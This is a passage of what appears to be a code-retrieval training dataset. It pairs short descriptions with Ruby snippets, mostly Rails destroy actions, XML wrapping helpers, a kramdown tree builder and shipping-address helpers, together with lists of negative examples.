"def delete_form(form_id)\n start.uri('/api/form')\n .url_segment(form_id)\n .delete()\n .go()\n end",
"def destroy\n @questionform = Questionform.find(params[:id])\n @questionform.destroy\n\n respond_to do |format|\n format.html { redirect_to(questionforms_url) }\n format.xml { head :ok }\n end\n end",
"def uom_delete\n @uom = Uom.find(params[:id])\n @form = 'uomForm' \n @uom.destroy\n\n respond_to do |format|\n format.html { redirect_to(\"master/uom_list\") }\n format.xml { head :ok }\n end\n end",
"def destroy\n @auditflows_form = AuditflowsForm.find(params[:id])\n @auditflows_form.destroy\n\n respond_to do |format|\n format.html { redirect_to(auditflows_forms_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @inquiry_form = current_site.inquiry_forms.find(params[:id])\n @inquiry_form.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_inquiry_forms_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @formulario = Formulario.find(params[:id])\n @formulario.destroy\n\n respond_to do |format|\n format.html { redirect_to(formularios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @qform = Qform.find(params[:id])\n @qform.destroy\n\n respond_to do |format|\n format.html { redirect_to(qforms_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @form = Form.find(params[:id])\n @form.destroy\n\n respond_to do |format|\n format.html { redirect_to(event_client_path(@client, :event_id => @event)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @q_data_form = QDataForm.find(params[:id])\n @q_data_form.destroy\n\n respond_to do |format|\n format.html { redirect_to(q_data_forms_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @phonetic_form = PhoneticForm.find(params[:id])\n @phonetic_form.destroy\n\n respond_to do |format|\n format.html { redirect_to(phonetic_forms_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @businessform = Businessform.find(params[:id])\n @businessform.destroy\n\n respond_to do |format|\n format.html { redirect_to(businessforms_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @regform = Regform.find(params[:id])\n @regform.destroy\n\n respond_to do |format|\n format.html { redirect_to(regforms_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @forms_list = FormsList.find(params[:id])\n @forms_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(forms_lists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @form1.destroy\n respond_to do |format|\n format.html { redirect_to form1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @form1 = Form1.find(params[:id])\n @form1.destroy\n\n respond_to do |format|\n format.html { redirect_to form1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @forms_menutree = FormsMenutree.find(params[:id])\n @forms_menutree.destroy\n\n respond_to do |format|\n format.html { redirect_to(forms_menutrees_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @consultationform = Consultationform.find(params[:id])\n @consultationform.destroy\n\n respond_to do |format|\n format.html { redirect_to(consultationforms_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n frm.button(:value=>\"Delete\").click\n CreateEditSyllabus.new(@browser)\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Wraps xml_fragment in infobase tags | def wrap_in_xml_infobase(xml_fragment)
%(<infobase>#{ xml_fragment }</infobase)
end | [
"def wrap_in_xml_record(xml_fragment)\n wrap_in_xml_infobase(%(\n <record class=\"NormalLevel\" fullPath=\"/50000009/50130009/50130229\" recordId=\"50130229\">\n #{ xml_fragment }\n </record>)\n )\nend",
"def xml_fragment(*args, &block)\n Loofah::XML::DocumentFragment.parse(*args, &block)\n end",
"def additional_information_xml(xml)\n\n end",
"def render_xml_partial(xml, partial, args={})\n args[:partial] = partial.to_s\n xml.target! << render(args)\n end",
"def fragment_name; end",
"def decorate_fragment( fragment, name )\n out = \"\\n\\n# BEGIN #{name} ------------ \\n\"\n out << runtime_log( \"Started fragment '#{name}'\" )\n out << fragment\n out << runtime_log( \"Finished fragment '#{name}'\" )\n out << \"\\n\\n# END #{name} ------------\\n\"\nend",
"def contact_info(xml)\n super # placeholder so that I can add some doc\n end",
"def content_tag(type, content, options = {}); end",
"def wrap(node_or_tags); end",
"def ap_xml\n # other gsub could be negaitve /<content?([A-Za-z \"=]+)>(?!<\\!\\[CDATA\\[)/\n # but CS theory says that isn't a good idea, and so does running time tests\n Crack::XML.parse(body.gsub(/<content?([A-Za-z \"=]+)><\\!\\[CDATA\\[/, '<content>').gsub(/\\]\\]><\\/content>/, \"</content>\").gsub(/<content?([A-Za-z \"=]+)>/, \"<content><![CDATA[\").gsub(/<\\/content>/, \"]]></content>\"))\n # Crack::XML.parse(body.gsub(/<content?([A-Za-z \"=]+)>(?!<\\!\\[CDATA\\[)/, \"<content><![CDATA[\").gsub(/<\\/content>/, \"]]></content>\"))\n end",
"def markup_context; end",
"def fragment(tags)\n type = document.html? ? Nokogiri::HTML : Nokogiri::XML\n type::DocumentFragment.new(document, tags, self)\n end",
"def xml_wrapper(&block)\n \"<Envelope><Body>#{block.call}</Body></Envelope>\"\n end",
"def wrap_content_in_tag(content)\n PageCell::Template.new {content}.render(view_context)\n end",
"def xml\n xml = REXML::Element.new 'div'\n\n if self[\"type\"] == \"xhtml\"\n @content.children.each { |child| xml << child }\n elsif self[\"type\"] == \"text\"\n xml.text = self.to_s\n elsif self[\"type\"] == \"html\"\n begin\n require \"hpricot\"\n rescue\n raise \"Turning HTML content into XML requires Hpricot.\"\n end\n\n fixed = Hpricot(self.to_s, :xhtml_strict => true)\n xml = REXML::Document.new(\"<div>#{fixed}</div>\").root\n else\n # XXX check that @type is an XML mimetype and parse it\n raise \"I haven't implemented this yet\"\n end\n\n xml\n end",
"def scrub_xml_fragment(string_or_io, method); end",
"def render_nonsemantic_fragment(fragment_tag, text, url, options = {})\n if fragment_tag\n text = breadcrumb_link_to(text, url) if url.present?\n content_tag(fragment_tag, text, class: options[:class])\n elsif url.present?\n breadcrumb_link_to(text, url, class: options[:class])\n elsif options[:class].present?\n content_tag(:span, text, class: options[:class])\n else\n text\n end\n end",
"def to_html\n output_options = Nokogiri::XML::Node::SaveOptions::DEFAULT_XHTML ^\n Nokogiri::XML::Node::SaveOptions::FORMAT\n @fragment.children.inject(\"\") do |out, child|\n out << child.serialize(:save_with => output_options, :encoding => 'UTF-8')\n end\n end",
"def api_tag(text); end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Wraps xml_fragment in record tags | def wrap_in_xml_record(xml_fragment)
wrap_in_xml_infobase(%(
<record class="NormalLevel" fullPath="/50000009/50130009/50130229" recordId="50130229">
#{ xml_fragment }
</record>)
)
end | [
"def wrap_in_xml_infobase(xml_fragment)\n %(<infobase>#{ xml_fragment }</infobase)\nend",
"def raw(record)\n record.to_xml(:indent => 0, :encoding => 'UTF-8')\n end",
"def xml_fragment(*args, &block)\n Loofah::XML::DocumentFragment.parse(*args, &block)\n end",
"def encode(model, record)\n if record.respond_to?(\"to_#{prefix}\")\n record.send(\"to_#{prefix}\")\n else\n xml = Builder::XmlMarkup.new\n map = model.respond_to?(\"map_#{prefix}\") ? model.send(\"map_#{prefix}\") : {}\n xml.tag!(\"#{prefix}:#{element_namespace}\", header_specification) do\n fields.each do |field|\n values = value_for(field, record, map)\n if values.respond_to?(:each)\n values.each do |value|\n xml.tag! \"#{element_namespace}:#{field}\", value\n end\n else\n xml.tag! \"#{element_namespace}:#{field}\", values\n end\n end\n end\n xml.target!\n end\n end",
"def wrap(node_or_tags); end",
"def xml_wrapper(&block)\n \"<Envelope><Body>#{block.call}</Body></Envelope>\"\n end",
"def model_xml(record, options={}, &block)\n chain_proc = Proc.new do |xml| \n url = record_url(record)\n xml.url url unless record.new_record?\n block.call(xml) if block\n end\n record.to_xml(\n options.merge(:skip_types => true),\n &chain_proc)\n end",
"def to_xml\n return nil unless full_record?\n\n do_not_process = [ \"@contact_lists\", \"@original_source\", \"@original_xml\", \"@uid\", \"@xmlns\" ]\n\n xml = self.original_xml\n\n self.instance_variables.each do |ivar|\n next if do_not_process.include?( ivar )\n\n var = camelize( ivar.gsub(/@/,'') )\n\n xml.gsub!( /<#{var}>(.*)<\\/#{var}>/ , \"<#{var}>#{self.instance_variable_get(ivar)}</#{var}>\" )\n end\n\n # replace <updated> node with current time\n xml.gsub( /<updated>.*<\\/updated>/, Time.now.strftime(\"%Y-%m-%dT%H:%M:%S.000Z\") )\n\n xml\n end",
"def serialized_tag(tagname, str, additional_attributes = {})\n str << '<' << tagname << ' '\n serialized_attributes(str, additional_attributes)\n if block_given?\n str << '>'\n yield\n str << '</' << tagname << '>'\n else\n str << '/>'\n end\n end",
"def xml\n xml = REXML::Element.new 'div'\n\n if self[\"type\"] == \"xhtml\"\n @content.children.each { |child| xml << child }\n elsif self[\"type\"] == \"text\"\n xml.text = self.to_s\n elsif self[\"type\"] == \"html\"\n begin\n require \"hpricot\"\n rescue\n raise \"Turning HTML content into XML requires Hpricot.\"\n end\n\n fixed = Hpricot(self.to_s, :xhtml_strict => true)\n xml = REXML::Document.new(\"<div>#{fixed}</div>\").root\n else\n # XXX check that @type is an XML mimetype and parse it\n raise \"I haven't implemented this yet\"\n end\n\n xml\n end",
"def render_xml_partial(xml, partial, args={})\n args[:partial] = partial.to_s\n xml.target! << render(args)\n end",
"def to_xml_document\n require 'rexml/document'\n xml = REXML::Document.new self.to_s\n yield xml if block_given?\n xml\n end",
"def wrap(tag=\"\", attributes=nil)\n\twrite({\n 'tag' => tag,\n 'content' => to_s,\n 'attributes' => attributes\n })\n\tself\nend",
"def to_html(record, opts = {})\n save_options = { :encoding => 'UTF-8', :save_with => (SaveOptions::AS_XML | SaveOptions::NO_DECLARATION), :indent => 2 }.merge(opts)\n builder = Nokogiri::XML::Builder.new do |doc|\n doc.span {\n record.metadata.each_pair { |k,v|\n unless v.nil? or v.to_s.empty?\n (prefix,tag) = k.split(/\\./)\n # Convert from camelCase to Human Readable Label\n tag = tag.gsub(/(\\S)([A-Z])/,'\\1 \\2').gsub(/\\b('?[a-z])/) { $1.capitalize }\n doc.p {\n doc.b {\n doc.text \"#{tag}:\"\n }\n doc.text \" \"\n if v.is_a?(Array)\n doc.br\n v.each { |value|\n doc.text value unless value.empty?\n doc.br\n }\n else\n doc.text v\n end\n }\n end\n }\n }\n end\n builder.to_xml(save_options)\n end",
"def serialize_record_dump_xml(record, xml_options)#:nodoc:\r\n\r\n serializer = ActiveRecord::XmlSerializer.new(record, xml_options.dup)\r\n xml = serializer.to_s do |builder|\r\n self.options[:procs].each_with_index do |proc, idx|\r\n serializer.add_tag_for_value(self.options[:proc_headers][idx].to_s,\r\n proc.call(self.options))\r\n end\r\n end\r\n end",
"def render_mods_xml_record(document)\n return '' unless document['mods_xml_ss']\n\n mods_data = Zlib::Inflate.inflate(Base64.decode64(document['mods_xml_ss']))\n REXML::Document.new(mods_data)\n end",
"def enclose tag='span'\n return unless @token\n # Check that some ancestor doesn't already have the tag\n if !head_stream.descends_from?(token: @token)\n @head_stream.enclose_to @tail_stream.pos, rp_elmt_class: @token, tag: tag, value: @value\n end\n end",
"def to_html\n output_options = Nokogiri::XML::Node::SaveOptions::DEFAULT_XHTML ^\n Nokogiri::XML::Node::SaveOptions::FORMAT\n @fragment.children.inject(\"\") do |out, child|\n out << child.serialize(:save_with => output_options, :encoding => 'UTF-8')\n end\n end",
"def to_xml\n insert_item(REXML::Document.new).to_s\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Constructs a kramdown tree from data. CAUTION: Two trees will be connected if you use the same Kramdown::ElementRt objects to construct them. | def construct_kramdown_rt_tree(data)
parent, children = data
parent_clone = parent.clone
children.each do |child|
case child
when Array
parent_clone.add_child(construct_kramdown_rt_tree(child))
when Kramdown::ElementRt
parent_clone.add_child(child.clone)
else
raise(ArgumentError.new("invalid child: #{ child.inspect }"))
end
end
parent_clone
end | [
"def build_tree(data_array)\n @root = nil # overwrites tree, even if array is empty\n data_array.each_with_index do |data, index|\n if index == 0\n @root = Node.new(data)\n else\n set_next_node(data)\n end\n end\n end",
"def build_tree_2(data_array)\n root = nil\n \n data_array.each do |elem|\n node = insert_node(root, nil, elem) \n\troot ||= node\n end\n \n root\nend",
"def parse_tree_model(data, parent, klass)\n data.each do |node|\n case\n when node.is_a?(Hash) then # composite node\n node.each do |key, value|\n new_parent = klass.new( :name => key, :parent_id => parent.try(:id))\n new_parent.do_create!\n parse_tree_model(value, new_parent, klass)\n end\n when node.is_a?(String) then # leaf node\n item = klass.new(:name => node, :parent_id => parent.try(:id))\n item.do_create!\n end\n end\n end",
"def build_struct_tree data\n data.to_hashugar\n end",
"def build_tree(data_set=data)\n\t\tnode_params = get_optimal_params(data_set, entropy(data_set))\n\t\t\n\t\tif node_params[:best_gain] > 0\n\t\t\tcreate_branch_node(node_params)\n\t\telse\n\t\t\tcreate_leaf_node(data_set)\n\t\tend\n\n\tend",
"def initialize(leaf_size = 1, data)\n @model = Learner.build_tree(leaf_size, data)\n end",
"def node_from_data(data)\r\n nodenew = add_node(data['ident'], data['name'], data['type'])\r\n nodenew.unflatten_data(data)\r\n nodenew\r\n end",
"def build_tree\n current_node = nil\n \n @dictionary.each do |word|\n current_node = @root_node\n (0...word.length).each do |i|\n chr = word[i]\n previous_node = current_node\n if current_node.children.length > 0\n current_node.children.each do |child|\n if child.value == chr\n current_node = child\n break\n end\n end\n \n end\n if current_node == previous_node\n new_node = PolyTreeNode.new(chr)\n #we should be using PolyTreeNode function 'add_child' instead of shoveling\n current_node.children << new_node\n current_node = new_node\n end\n end\n end\n end",
"def genenerateTree(node,data)\n\tif !data.empty?\n\t\tif !data[\"children\"].empty?\n\t\t\tnode.noOfChildren = data[\"children\"].length\n\t\t\tdata[\"children\"].each do |element|\t\n\t\t\t\tcurrentNode = NTree::Node.new(element[\"nodeId\"],element[\"textB\"],element[\"textD\"])\n\t\t\t\tnode.addChild(currentNode)\n\t\t\t\tif element.has_key? \"children\"\n\t\t\t\t\tgenenerateTree(currentNode,element)\n\t\t\t\telse\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\telse\n\t\treturn\n\tend\nend",
"def creating_dendrogram_structure(data)\n root = data.keys.last\n hash = create_hash(data, root, 0)\n create_json_max_depth(data, root, 0, get_the_best_depth(data, root, hash))\n end",
"def make_tree\n # this is where the levels of the merk tree will be stored\n layer = @raw.clone\n size = 99\n d = Digest::SHA256.new\n @tree = []\n @tree << @raw.collect do |r|\n d.reset\n d << r.to_s\n d.hexdigest\n end\n\n while size > 1\n layer2 = hash_all(layer)\n\n @tree << layer2.clone\n layer = layer2.clone\n size = layer.size\n end\n\n # but doing this gives you the raw data at the top and the single-node apex at the bottom\n # this is confusing so the tree needs to be flipped upside down.\n @tree.reverse!\n end",
"def initialize(data,parent=nil)\r\n @data = data\r\n @parent = nil\r\n raise \"parent must be a TreeNode\" unless @parent.nil? || @parent.class == TreeNode\r\n self.clear\r\n end",
"def tree(data_path, options = {})\n\t\t\t\tresult = \"\"\n\n\t\t\t\t# Unique hash\n\t\t\t\t@hash = Digest::SHA1.hexdigest(data_path.to_s)\n\n\t\t\t\t# Options\n\t\t\t\t@options = options.nil? ? {} : options\n\n\t\t\t\t# Clipboard\n\t\t\t\tif @options[:clipboard_attrs]\n\t\t\t\t\tclipboard = true\n\t\t\t\t\t@options[:clipboard_attrs] = [@options[:clipboard_attrs]] if !@options[:clipboard_attrs].is_a?(Array)\n\t\t\t\t\tclipboard_attrs_js = \"[\" + @options[:clipboard_attrs].map { |item| \"'#{item}'\" }.join(\",\") + \"]\"\n\t\t\t\telse\n\t\t\t\t\tclipboard = false\n\t\t\t\t\tclipboard_attrs_js = \"[]\"\n\t\t\t\tend\n\n\t\t\t\t# Actions\n\t\t\t\tif @options[:actions]\n\t\t\t\t\tactions_js = \"[\"\n\t\t\t\t\toptions[:actions].each do |key, action|\n\t\t\t\t\t\tactions_js += %{\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\turl: '#{action[:path] ? @path_resolver.resolve(action[:path], \":id\") : \"\"}',\n\t\t\t\t\t\t\t\ticon: '#{action[:icon]}',\n\t\t\t\t\t\t\t\tlabel: '#{action[:label]}',\n\t\t\t\t\t\t\t\tcollapsed: #{action[:collapsed] == true ? \"true\" : \"false\"},\n\t\t\t\t\t\t\t\tstyle: '#{action[:style] ? action[:style] : \"default\"}',\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t}\n\t\t\t\t\tend\n\t\t\t\t\tactions_js += \"]\"\n\t\t\t\telse\n\t\t\t\t\tactions_js = \"[]\"\n\t\t\t\tend\n\n\t\t\t\t# Parent\n\t\t\t\tparent = (options[:parent] ? options[:parent] : nil)\n\n\t\t\t\t# Save state\n\t\t\t\tsave_state = (options[:save_state] ? options[:save_state] : :simple)\n\n\t\t\t\t# Application JS\n\t\t\t\tresult += @template.javascript_tag(%{\n\t\t\t\t\tvar rug_tree_#{@hash} = null;\n\t\t\t\t\t$(document).ready(function() {\n\t\t\t\t\t\trug_tree_#{@hash} = new RugTree('#{@hash}', {\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Model\n\t\t\t\t\t\t\tmodel: 'node',\n\n\t\t\t\t\t\t\t// State\n\t\t\t\t\t\t\tsaveState: '#{save_state.to_s}',\n\n\t\t\t\t\t\t\t// Parent element\n\t\t\t\t\t\t\tparent: '#{parent.to_s}',\n\n\t\t\t\t\t\t\t// Icons\n\t\t\t\t\t\t\tclosedIcon: '#{@icon_builder.render(@options[:closed_icon] ? @options[:closed_icon] : \"chevron-right\")}',\n\t\t\t\t\t\t\topenedIcon: '#{@icon_builder.render(@options[:opened_icon] ? @options[:opened_icon] : \"chevron-down\")}',\n\n\t\t\t\t\t\t\t// Show\n\t\t\t\t\t\t\tshow: #{check_show(@options) ? 'true' : 'false'},\n\t\t\t\t\t\t\tshowEvent: '#{@options[:show_event] && @options[:show_event].to_sym == :double_click ? \"dblclick\" : \"click\"}',\n\t\t\t\t\t\t\tshowUrl: '#{@path_resolver.resolve(@options[:paths][:show], \":id\")}',\n\n\t\t\t\t\t\t\t// Create\n\t\t\t\t\t\t\tcreate: #{check_create(@options) ? 'true' : 'false'}, \n\t\t\t\t\t\t\tcreateUrl: '#{@path_resolver.resolve(@options[:paths][:create])}',\n\t\t\t\t\t\t\tcreateIcon: '#{@icon_builder.render(@options[:update_icon] ? @options[:update_icon] : \"plus\")}',\n\t\t\t\t\t\t\tcreateLabel: '#{I18n.t(\"general.action.create_child\").upcase_first}',\n\t\t\t\t\t\t\tcreateActionCollapsed: #{@options[:create_action_collapsed] == true ? 'true' : 'false'}, \n\t\t\t\t\t\t\tcreateSuccessMessage: '#{I18n.t(\"general.messages.create.success\")}',\n\n\t\t\t\t\t\t\t// Update\n\t\t\t\t\t\t\tupdate: #{check_update(@options) ? 'true' : 'false'}, \n\t\t\t\t\t\t\tupdateUrl: '#{@path_resolver.resolve(@options[:paths][:update], \":id\")}', \n\t\t\t\t\t\t\tupdateIcon: '#{@icon_builder.render(@options[:update_icon] ? @options[:update_icon] : \"pencil\")}',\n\t\t\t\t\t\t\tupdateLabel: '#{I18n.t(\"general.action.update\").upcase_first}',\n\t\t\t\t\t\t\tupdateActionCollapsed: #{@options[:update_action_collapsed] == true ? 'true' : 'false'}, \n\t\t\t\t\t\t\tupdateSuccessMessage: '#{I18n.t(\"general.messages.create.success\")}',\n\n\t\t\t\t\t\t\t// Destroy\n\t\t\t\t\t\t\tdestroy: #{check_destroy(@options) ? 'true' : 'false'}, \n\t\t\t\t\t\t\tdestroyUrl: '#{@path_resolver.resolve(@options[:paths][:destroy], \":id\")}', \n\t\t\t\t\t\t\tdestroyIcon: '#{@icon_builder.render(@options[:update_icon] ? @options[:update_icon] : \"trash\")}',\n\t\t\t\t\t\t\tdestroyLabel: '#{I18n.t(\"general.action.destroy\").upcase_first}',\n\t\t\t\t\t\t\tdestroyActionCollapsed: #{@options[:destroy_action_collapsed] == true ? 'true' : 'false'}, \n\t\t\t\t\t\t\tdestroyConfirmMessage: '#{I18n.t(\"general.are_you_sure\")}',\n\t\t\t\t\t\t\tdestroySuccessMessage: '#{I18n.t(\"general.messages.destroy.success\")}',\n\n\t\t\t\t\t\t\t// Moving\n\t\t\t\t\t\t\tmoving: #{check_moving(@options) ? 'true' : 'false'},\n\t\t\t\t\t\t\tmovingUrl: '#{@path_resolver.resolve(@options[:paths][:move], \":id\", \":relation\", \":destination_id\")}',\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Type\n\t\t\t\t\t\t\ttypeIconTemplate: '#{@icon_builder.render(\":icon\", class: \"jqtree-icon\")}',\n\t\t\t\t\t\t\ttypeIconAttr: '#{@options[:type_icon_attr]}',\n\n\t\t\t\t\t\t\t// Actions\n\t\t\t\t\t\t\tactions: #{actions_js},\n\t\t\t\t\t\t\tactionsIconTemplate: '#{@icon_builder.render(\":icon\")}',\n\n\t\t\t\t\t\t\t// Clipboard\n\t\t\t\t\t\t\tclipboard: #{clipboard ? 'true' : 'false'},\n\t\t\t\t\t\t\tclipboardIcon: '#{@icon_builder.render(@options[:clipboard_icon] ? @options[:clipboard_icon] : \"clipboard\")}',\n\t\t\t\t\t\t\tclipboardTemplate: \"#{clipboard ? (@options[:clipboard_template] ? @options[:clipboard_template].gsub('\"', \"'\") : \":\" + @options[:clipboard_attrs].first) : \"\"}\",\n\t\t\t\t\t\t\tclipboardAttrs: #{clipboard_attrs_js},\n\t\t\t\t\t\t\tclipboardActionCollapsed: #{@options[:clipboard_action_collapsed] == true ? 'true' : 'false'}, \n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Select\n\t\t\t\t\t\t\tselectByDefault: #{@options[:select_by_default] ? @options[:select_by_default].to_i : \"null\"},\n\n\t\t\t\t\t\t\t// Reload\n\t\t\t\t\t\t\treloadIcon: '#{@icon_builder.render(@options[:update_icon] ? @options[:update_icon] : \"refresh\")}',\n\t\t\t\t\t\t\treloadLabel: '#{I18n.t(\"general.action.reload\").upcase_first}',\n\t\t\t\t\t\t});\n\t\t\t\t\t\trug_tree_#{@hash}.ready();\n\t\t\t\t\t});\n\t\t\t\t\t$(document).on('turbolinks:load', function() {\n\t\t\t\t\t\trug_tree_#{@hash}.repair();\n\t\t\t\t\t});\n\t\t\t\t})\n\n\t\t\t\tresult += %{\n\t\t\t\t\t<div id=\"tree-#{@hash}\" data-url=\"#{data_path.to_s}\"></div>\n\t\t\t\t}\n\n\t\t\t\treturn result.html_safe\n\t\t\tend",
"def create_node(data, depth, parent = nil)\n Node.new(data, depth, [], parent)\n end",
"def create_tree(current_data,payload)\n return BinaryTree.new(payload,nil,nil) if current_data == nil\n if payload < current_data.payload\n current_data.left_child = create_tree(current_data.left_child, payload)\n else\n current_data.right_child = create_tree(current_data.right_child, payload)\n end\n return current_data\nend",
"def build_tree(arr)\n #arr.shuffle!\n arr.each do |x|\n if @root == nil\n @root = Node.new(x)\n else\n current_node = @root\n until current_node == nil\n if x < current_node.value\n parent = current_node\n direction = \"left\"\n current_node = current_node.left_child\n elsif x > current_node.value\n parent = current_node\n direction = \"right\"\n current_node = current_node.right_child\n end\n end\n if direction == \"left\"\n parent.left_child = Node.new(x)\n elsif direction == \"right\"\n parent.right_child = Node.new(x)\n end\n end\n end\n end",
"def build_hierarchy\n root = LetterNode.new(nil)\n\n # TODO: Limit word table to 50,000 highest ranking words\n\n words.each do |word|\n wl = root\n word.spelling.each_char do |letter|\n wl = wl.add(letter, word.count)\n end\n wl.word!(word.count)\n end\n\n root\n end",
"def tree=(data)\n @tree = HashWithIndifferentAccess.new(\n case data\n when Array\n hash_from_git(data)\n when Hash, HashWithIndifferentAccess\n data\n end\n )\n end",
"def build_hierarchy\n root = LetterNode.new(nil)\n\n # TODO: Limit word table to 50,000 highest scoring words\n\n words.each do |word|\n wl = root\n word.spelling.each_char do |letter|\n wl = wl.add(letter, word.count)\n end\n wl.word!(word.count)\n end\n\n root\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Helper method to create a shipping address for a customer | def create_shipping_address(customer_id,state,is_primary)
shipping_address = Address.create!(
street: Faker::Address.street_address,
city: Faker::Address.city,
state: state,
zipcode: Faker::Address.zip
)
CustomersShippingAddress.create!(customer_id: customer_id,
address: shipping_address,
primary: is_primary)
end | [
"def create_customer_shipping_address(options)\n requires!(options, :customer_profile_id)\n requires!(options, :address)\n\n request = build_request(:create_customer_shipping_address, options)\n commit(:create_customer_shipping_address, request)\n end",
"def shipping_address\n address.merge(\n 'first_name' => first_name,\n 'last_name' => last_name,\n )\n end",
"def add_shipping_address(_params, customer, subscription)\n # Adding address to the subscription for shipping product to the customer.\n # Sends request to the ChargeBee server and adds the shipping address \n # for the given subscription Id.\n result = ChargeBee::Address.update({\n :subscription_id => subscription.id, \n :label => \"shipping_address\", \n :first_name => customer.first_name, \n :last_name => customer.last_name, \n :addr => _params[\"addr\"], \n :extended_addr => _params[\"extended_addr\"],\n :city => _params[\"city\"], \n :state => _params[\"state\"], \n :zip => _params[\"zip_code\"]\n })\n end",
"def add_shipping_address(_params, customer, subscription)\n # Adding address to the subscription for shipping product to the customer.\n # Sends request to the ChargeBee server and adds the shipping address \n # for the given subscription Id.\n\n result = ChargeBee::Address.update({\n :subscription_id => subscription.id, \n :label => \"shipping_address\", \n :first_name => customer.first_name, \n :last_name => customer.last_name, \n :addr => _params[\"addr\"], \n :extended_addr => _params[\"extended_addr\"],\n :city => _params[\"city\"], \n :state => _params[\"state\"], \n :zip => _params[\"zip_code\"]\n })\n end",
"def create_shipping_address(customer_id, num_states, is_primary)\n\tshipping_state = State.all[rand(num_states)]\n\tshipping_address = Address.create!(\n\t\tstreet: Faker::Address.street_address,\n\t\tcity: Faker::Address.city,\n\t\tstate: shipping_state,\n\t\tzipcode: Faker::Address.zip\n\t)\n\tCustomersShippingAddress.create!(customer_id: customer_id, address: shipping_address, primary: is_primary)\nend",
"def create\n\t\t@shipping_address = ShippingAddress.new(shipping_address_params)\n\t\t@shipping_address.user_id = @user.id\n\t\tcheck_us_postal_code_and_create_shipping_address\n\tend",
"def create\n @customer = Customer.find(params[:customer_id])\n @shipping_address = ShippingAddress.new(params[:shipping_address])\n @customer.shipping_addresses << @shipping_address\n @customer.save \n respond_to do |format|\n if @shipping_address.save\n format.html { redirect_to customer_shipping_address_path(@customer, @shipping_address), notice: t(:shipping_address_created) }\n format.json { render json: @shipping_address, status: :created, location: @shipping_address }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shipping_address.errors, status: :unprocessable_entity }\n end\n end\n end",
"def shipping_address\n source = shipping_address_customization || order\n source.shipping_address\n end",
"def get_customer_shipping_address(input)\n \tdata = build_request('getCustomerShippingAddressRequest') do |xml|\n xml.customerProfileId input[:customer_profile_id] if input[:customer_profile_id]\n xml.customerAddressId input[:customer_address_id] if input[:customer_address_id]\n end \n parse send(data)\n end",
"def create_shipping_address\n @address = current_user.shipping_addresses.build(params[:postal_address])\n if @address.save\n set_flash_message(:notice, :shipping_address_created)\n bill_to_shipping = params[:postal_address].fetch(:shipping_address, {}).fetch(:bill_to_shipping, false)\n update_pending!(@listing.order, @address.id, bill_to_shipping: bill_to_shipping)\n # use a secure redirect to ensure that people see the browser's trust indicator on the payment page\n redirect_to(payment_listing_purchase_url(@listing, secure: true))\n else\n @ship_to = ShipTo.create(@listing.order, current_user.sorted_shipping_addresses.all)\n render(:shipping)\n end\n end",
"def get_customer_shipping_address(options)\n requires!(options, :customer_profile_id)\n requires!(options, :customer_address_id)\n\n request = build_request(:get_customer_shipping_address, options)\n commit(:get_customer_shipping_address, request)\n end",
"def create\n @customer = User.find_by(id: current_user.id)\n address = @customer.addresses.create(\n line_1: \"Address line 1\",\n line_2: \"\",\n city: \"City\",\n state: \"State\",\n postcode: \"Postcode\",\n country_or_region: \"Country/Region\"\n )\n address.line_1 = \"Address##{address.id}\"\n address.save!\n redirect_to edit_my_addresses_path(@customer, anchor: \"address#{address.id}\")\n end",
"def shipper_address\n @shipper_address ||= SimpleShipping::Address.new(\n :country_code => 'US',\n :state_code => 'TX',\n :city => 'Texas',\n :street_line => 'SN2000 Test Meter 8',\n :postal_code => '73301'\n )\n end",
"def delivery_address\n Address.new(\n email_address: email_address,\n full_name: delivery_full_name,\n address_line_1: delivery_address_line_1,\n address_line_2: delivery_address_line_2,\n town_city: delivery_town_city,\n county: delivery_county,\n postcode: delivery_postcode,\n country_id: delivery_country_id,\n phone_number: delivery_phone_number\n )\n end",
"def delivery_address\n Address.new(\n email_address: email_address,\n full_name: delivery_full_name,\n address_line_1: delivery_address_line_1,\n address_line_2: delivery_address_line_2,\n town_city: delivery_town_city,\n county: delivery_county,\n postcode: delivery_postcode,\n country_id: delivery_country_id,\n phone_number: delivery_phone_number\n )\n end",
"def make_reservation_address(first_name, last_name, street_address, zip, city, country_code, house_number = nil)\n # {\n # :fname => first_name,\n # :lname => last_name,\n # :street => street_address,\n # :zip => zip,\n # :city => city,\n # :country => ::Klarna::API.id_for(:country, country_code),\n # :house_number => house_number\n # }.with_indifferent_access\n raise NotImplementedError\n end",
"def ship_to_address\n (shipping_address || user.shipping_address || user.billing_address).try(:full_address)\n end",
"def billing_address\n default_billing_address ? default_billing_address : shipping_address\n end",
"def shipping_address\n default_shipping_address ? default_shipping_address : shipping_addresses.first\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
GET /vocentries/1 GET /vocentries/1.xml | def show
@vocentry = Vocentry.find(params[:id])
respond_to do |format|
format.html # show.html.erb
